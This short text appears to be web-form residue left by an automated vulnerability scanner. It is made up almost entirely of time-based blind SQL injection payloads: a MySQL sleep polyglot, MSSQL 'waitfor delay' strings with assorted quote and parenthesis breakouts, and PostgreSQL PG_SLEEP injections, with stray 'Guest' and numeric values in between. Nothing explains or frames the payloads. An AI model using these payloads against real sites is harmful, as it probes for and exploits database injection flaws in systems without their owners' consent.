(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

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1
-1; waitfor delay '0:0:15' --

Guest:
1
-1); waitfor delay '0:0:15' --

Guest:
1
-1 waitfor delay '0:0:15' --

Guest:
1
Z4OmNePn'; waitfor delay '0:0:15' --

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1
FxzgR1pG'); waitfor delay '0:0:15' --

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1
weiQoAf5')); waitfor delay '0:0:15' --

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1
nRuCTFhc' OR 990=(SELECT 990 FROM PG_SLEEP(15))--

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1
pCADiUPU') OR 459=(SELECT 459 FROM PG_SLEEP(15))--

Guest:
555